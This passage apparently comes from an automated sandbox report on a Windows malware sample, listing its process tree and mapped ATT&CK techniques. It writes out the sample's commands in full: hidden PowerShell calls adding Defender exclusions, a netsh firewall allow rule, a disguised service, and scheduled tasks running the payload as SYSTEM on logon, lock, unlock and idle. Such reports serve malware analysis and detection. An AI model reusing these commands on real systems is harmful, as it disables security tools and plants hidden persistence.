  - Suspicious use of AdjustPrivilegeToken
  PID:848
- C:\Windows\system32\mountvol.exe
  "mountvol" G: /D
  2⤵
  - Enumerates connected drives
  PID:3124
- C:\Windows\system32\mountvol.exe
  "mountvol" H: /S
  2⤵
  PID:996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5012
- C:\Windows\system32\mountvol.exe
  "mountvol" H: /D
  2⤵
  - Enumerates connected drives
  PID:2008
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3532
- C:\Windows\system32\mountvol.exe
  "mountvol" I: /S
  2⤵
  PID:4676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\TEMP\' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:3916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'Boot.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:3832
- C:\Windows\system32\mountvol.exe
  "mountvol" I: /D
  2⤵
  - Enumerates connected drives
  PID:1532
- C:\Windows\system32\mountvol.exe
  "mountvol" J: /S
  2⤵
  PID:1672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Loads dropped DLL
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:3368
- C:\Windows\system32\mountvol.exe
  "mountvol" J: /D
  2⤵
  - Enumerates connected drives
  PID:1292
- C:\Windows\system32\mountvol.exe
  "mountvol" K: /S
  2⤵
  PID:4692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:1844
- C:\Windows\system32\mountvol.exe
  "mountvol" K: /D
  2⤵
  - Enumerates connected drives
  PID:1580
- C:\Windows\system32\mountvol.exe
  "mountvol" L: /S
  2⤵
  PID:1300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'Holy Check.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:752
- C:\Windows\system32\mountvol.exe
  "mountvol" L: /D
  2⤵
  - Enumerates connected drives
  PID:4312
- C:\Windows\system32\mountvol.exe
  "mountvol" M: /S
  2⤵
  PID:3648
- C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
  "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender TamperProtection settings
  - UAC bypass
  - Executes dropped EXE
  - Windows security modification
  - Checks whether UAC is enabled
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - System policy modification
  PID:1764
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit
    3⤵
    - Executes a command shell one-liner
    PID:2764
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:1148
- - C:\Windows\system32\sc.exe
    "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:4628
- - C:\Windows\system32\mountvol.exe
    "mountvol" E: /S
    3⤵
    PID:4420
- - C:\Windows\system32\sc.exe
    "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:1288
- - C:\Windows\system32\sc.exe
    "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:1996
- - C:\Windows\system32\mountvol.exe
    "mountvol" E: /D
    3⤵
    - Enumerates connected drives
    PID:2848
- - C:\Windows\system32\mountvol.exe
    "mountvol" F: /S
    3⤵
    PID:3788
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "SystemSoundsService_38935f3e" /F
    3⤵
    PID:1212
- - C:\Windows\system32\CMD.exe
    "CMD" /c schtasks /delete /F /TN "Holy Check" & exit
    3⤵
    - Executes a command shell one-liner
    PID:2868
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /F /TN "Holy Check"
      4⤵
      PID:116
- - C:\Windows\system32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /tn "Holy Check" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" & exit
    3⤵
    - Executes a command shell one-liner
    PID:4240
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /tn "Holy Check" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1768
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "SYSTEM" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    PID:4984
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "Holy Check_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "SYSTEM" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1580
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "SYSTEM" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    PID:3044
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3776
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "Holy Check_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "SYSTEM" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2668
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "SYSTEM" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    PID:2612
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "Holy Check_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "SYSTEM" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2148
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "Holy Check_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "SYSTEM" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    PID:4272
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "Holy Check_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "SYSTEM" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:752
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Create /TN "SystemSoundsService_38935f3e" /XML "C:\Windows\TEMP\8f1372ba-0b81-4e13-b28b-23f34b42f43a.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2400
- - C:\Windows\system32\mountvol.exe
    "mountvol" F: /D
    3⤵
    - Enumerates connected drives
    PID:2020
- - C:\Windows\system32\mountvol.exe
    "mountvol" G: /S
    3⤵
    PID:3444
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "Microsoft Compatibility Appraiser_a47f17b5" /F
    3⤵
    PID:2356
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Create /TN "Microsoft Compatibility Appraiser_a47f17b5" /XML "C:\Windows\TEMP\dd901e2a-c58d-41dc-95a9-d08b50bfd4b0.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4944
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "FamilySafetyMonitor_e8924c24" /F
    3⤵
    PID:2000
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Create /TN "FamilySafetyMonitor_e8924c24" /XML "C:\Windows\TEMP\1fde4cd7-213c-4164-9f33-f6f7f7e33a1f.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:884
- - C:\Windows\system32\mountvol.exe
    "mountvol" G: /D
    3⤵
    - Enumerates connected drives
    PID:3704
- - C:\Windows\system32\mountvol.exe
    "mountvol" H: /S
    3⤵
    PID:3600
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "SystemSoundsService_57634e2a" /F
    3⤵
    PID:880
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Create /TN "SystemSoundsService_57634e2a" /XML "C:\Windows\TEMP\371b6be0-08d1-4bb2-853f-771d69b03f50.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2324
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "DropboxUpdateTaskMachineCore_9ac7dd2b" /F
    3⤵
    PID:4344
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Create /TN "DropboxUpdateTaskMachineCore_9ac7dd2b" /XML "C:\Windows\TEMP\7a395525-f1f4-4c4f-8ddd-8053a9e0094e.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4420
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "MicrosoftEdgeUpdateTaskMachineCore_df6c7334" /F
    3⤵
    PID:2980
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Create /TN "MicrosoftEdgeUpdateTaskMachineCore_df6c7334" /XML "C:\Windows\TEMP\8a11ab30-7015-442b-9575-52e861e58c72.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3844
- - C:\Windows\system32\mountvol.exe
    "mountvol" H: /D
    3⤵
    - Enumerates connected drives
    PID:3900
- - C:\Windows\system32\mountvol.exe
    "mountvol" I: /S
    3⤵
    PID:812
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5012
- - C:\Windows\system32\mountvol.exe
    "mountvol" I: /D
    3⤵
    - Enumerates connected drives
    PID:2388
- - C:\Windows\system32\mountvol.exe
    "mountvol" J: /S
    3⤵
    PID:996
- - C:\Windows\system32\mountvol.exe
    "mountvol" J: /D
    3⤵
    - Enumerates connected drives
    PID:3796
- - C:\Windows\system32\mountvol.exe
    "mountvol" K: /S
    3⤵
    PID:3892
- - C:\Windows\system32\mountvol.exe
    "mountvol" K: /D
    3⤵
    - Enumerates connected drives
    PID:3324
- - C:\Windows\system32\mountvol.exe
    "mountvol" L: /S
    3⤵
    PID:2108
- - C:\Windows\system32\mountvol.exe
    "mountvol" L: /D
    3⤵
    - Enumerates connected drives
    PID:1636
- - C:\Windows\system32\mountvol.exe
    "mountvol" M: /S
    3⤵
    PID:3528
- - C:\Windows\system32\mountvol.exe
    "mountvol" M: /D
    3⤵
    - Enumerates connected drives
    PID:4248
- - C:\Windows\system32\mountvol.exe
    "mountvol" N: /S
    3⤵
    PID:3828
- - C:\Windows\system32\mountvol.exe
    "mountvol" N: /D
    3⤵
    - Enumerates connected drives
    PID:1832
- - C:\Windows\system32\mountvol.exe
    "mountvol" O: /S
    3⤵
    PID:2400
- - C:\Windows\system32\mountvol.exe
    "mountvol" O: /D
    3⤵
    - Enumerates connected drives
    PID:2852
- - C:\Windows\system32\mountvol.exe
    "mountvol" P: /S
    3⤵
    PID:4164
- - C:\Windows\system32\mountvol.exe
    "mountvol" P: /D
    3⤵
    - Enumerates connected drives
    PID:4736
- - C:\Windows\system32\mountvol.exe
    "mountvol" Q: /S
    3⤵
    PID:856
- - C:\Windows\system32\mountvol.exe
    "mountvol" Q: /D
    3⤵
    - Enumerates connected drives
    PID:1744
- - C:\Windows\system32\mountvol.exe
    "mountvol" R: /S
    3⤵
    PID:2044
- - C:\Windows\system32\mountvol.exe
    "mountvol" R: /D
    3⤵
    - Enumerates connected drives
    PID:1184
- - C:\Windows\system32\mountvol.exe
    "mountvol" S: /S
    3⤵
    PID:3056
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3788
- - C:\Windows\system32\mountvol.exe
    "mountvol" S: /D
    3⤵
    - Enumerates connected drives
    PID:1948
- - C:\Windows\system32\mountvol.exe
    "mountvol" T: /S
    3⤵
    PID:3956
- - C:\Windows\system32\mountvol.exe
    "mountvol" T: /D
    3⤵
    - Enumerates connected drives
    PID:4388
- - C:\Windows\system32\mountvol.exe
    "mountvol" U: /S
    3⤵
    PID:4948
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:116
- - C:\Windows\system32\mountvol.exe
    "mountvol" U: /D
    3⤵
    - Enumerates connected drives
    PID:3384
- - C:\Windows\system32\mountvol.exe
    "mountvol" V: /S
    3⤵
    PID:3412
- - C:\Windows\system32\mountvol.exe
    "mountvol" V: /D
    3⤵
    - Enumerates connected drives
    PID:4572
- - C:\Windows\system32\mountvol.exe
    "mountvol" W: /S
    3⤵
    PID:408
- - C:\Windows\system32\mountvol.exe
    "mountvol" W: /D
    3⤵
    - Enumerates connected drives
    PID:2660
- - C:\Windows\system32\mountvol.exe
    "mountvol" X: /S
    3⤵
    PID:2708
- - C:\Windows\system32\mountvol.exe
    "mountvol" X: /D
    3⤵
    - Enumerates connected drives
    PID:812
- - C:\Windows\system32\mountvol.exe
    "mountvol" Y: /S
    3⤵
    PID:4632
- - C:\Windows\system32\mountvol.exe
    "mountvol" Y: /D
    3⤵
    - Enumerates connected drives
    PID:3908
- - C:\Windows\system32\mountvol.exe
    "mountvol" E: /S
    3⤵
    PID:4040
- - C:\Windows\system32\mountvol.exe
    "mountvol" E: /D
    3⤵
    - Enumerates connected drives
    PID:2364
- - C:\Windows\system32\mountvol.exe
    "mountvol" F: /S
    3⤵
    PID:1260
- - C:\Windows\system32\mountvol.exe
    "mountvol" F: /D
    3⤵
    - Enumerates connected drives
    PID:3528
- - C:\Windows\system32\mountvol.exe
    "mountvol" G: /S
    3⤵
    PID:3352
- - C:\Windows\system32\mountvol.exe
    "mountvol" G: /D
    3⤵
    - Enumerates connected drives
    PID:2984
- - C:\Windows\system32\mountvol.exe
    "mountvol" H: /S
    3⤵
    PID:216
- - C:\Windows\system32\mountvol.exe
    "mountvol" H: /D
    3⤵
    - Enumerates connected drives
    PID:724
- - C:\Windows\system32\mountvol.exe
    "mountvol" I: /S
    3⤵
    PID:208
- - C:\Windows\system32\mountvol.exe
    "mountvol" I: /D
    3⤵
    - Enumerates connected drives
    PID:4524
- - C:\Windows\system32\mountvol.exe
    "mountvol" J: /S
    3⤵
    PID:2852
- - C:\Windows\system32\mountvol.exe
    "mountvol" J: /D
    3⤵
    - Enumerates connected drives
    PID:4052
- - C:\Windows\system32\mountvol.exe
    "mountvol" K: /S
    3⤵
    PID:1996
- - C:\Windows\system32\mountvol.exe
    "mountvol" K: /D
    3⤵
    - Enumerates connected drives
    PID:2172
- - C:\Windows\system32\mountvol.exe
    "mountvol" L: /S
    3⤵
    PID:60
- - C:\Windows\system32\mountvol.exe
    "mountvol" L: /D
    3⤵
    - Enumerates connected drives
    PID:2340
- - C:\Windows\system32\mountvol.exe
    "mountvol" M: /S
    3⤵
    PID:1768
- - C:\Windows\system32\mountvol.exe
    "mountvol" M: /D
    3⤵
    - Enumerates connected drives
    PID:5032
- - C:\Windows\system32\mountvol.exe
    "mountvol" N: /S
    3⤵
    PID:3896
- - C:\Windows\system32\mountvol.exe
    "mountvol" N: /D
    3⤵
    - Enumerates connected drives
    PID:3596
- - C:\Windows\system32\mountvol.exe
    "mountvol" O: /S
    3⤵
    PID:3756
- - C:\Windows\system32\mountvol.exe
    "mountvol" O: /D
    3⤵
    - Enumerates connected drives
    PID:3900
- - C:\Windows\system32\mountvol.exe
    "mountvol" P: /S
    3⤵
    PID:4572
- - C:\Windows\system32\mountvol.exe
    "mountvol" P: /D
    3⤵
    - Enumerates connected drives
    PID:860
- - C:\Windows\system32\mountvol.exe
    "mountvol" Q: /S
    3⤵
    PID:2100
- - C:\Windows\system32\mountvol.exe
    "mountvol" Q: /D
    3⤵
    - Enumerates connected drives
    PID:4952
- - C:\Windows\system32\mountvol.exe
    "mountvol" R: /S
    3⤵
    PID:1688
- - C:\Windows\system32\mountvol.exe
    "mountvol" R: /D
    3⤵
    - Enumerates connected drives
    PID:3420
- - C:\Windows\system32\mountvol.exe
    "mountvol" S: /S
    3⤵
    PID:2884
- - C:\Windows\system32\mountvol.exe
    "mountvol" S: /D
    3⤵
    - Enumerates connected drives
    PID:3760
- - C:\Windows\system32\mountvol.exe
    "mountvol" T: /S
    3⤵
    PID:452
- - C:\Windows\system32\mountvol.exe
    "mountvol" T: /D
    3⤵
    - Enumerates connected drives
    PID:1260
- - C:\Windows\system32\mountvol.exe
    "mountvol" U: /S
    3⤵
    PID:1400
- - C:\Windows\system32\mountvol.exe
    "mountvol" U: /D
    3⤵
    - Enumerates connected drives
    PID:3928
- - C:\Windows\system32\mountvol.exe
    "mountvol" V: /S
    3⤵
    PID:2332
- - C:\Windows\system32\mountvol.exe
    "mountvol" V: /D
    3⤵
    - Enumerates connected drives
    PID:2544
- - C:\Windows\system32\mountvol.exe
    "mountvol" W: /S
    3⤵
    PID:4600
- - C:\Windows\system32\mountvol.exe
    "mountvol" W: /D
    3⤵
    - Enumerates connected drives
    PID:2284
- - C:\Windows\system32\mountvol.exe
    "mountvol" X: /S
    3⤵
    PID:4856
- - C:\Windows\system32\mountvol.exe
    "mountvol" X: /D
    3⤵
    - Enumerates connected drives
    PID:216
- - C:\Windows\system32\mountvol.exe
    "mountvol" Y: /S
    3⤵
    PID:4736
- - C:\Windows\system32\mountvol.exe
    "mountvol" Y: /D
    3⤵
    - Enumerates connected drives
    PID:1212

C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4692

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery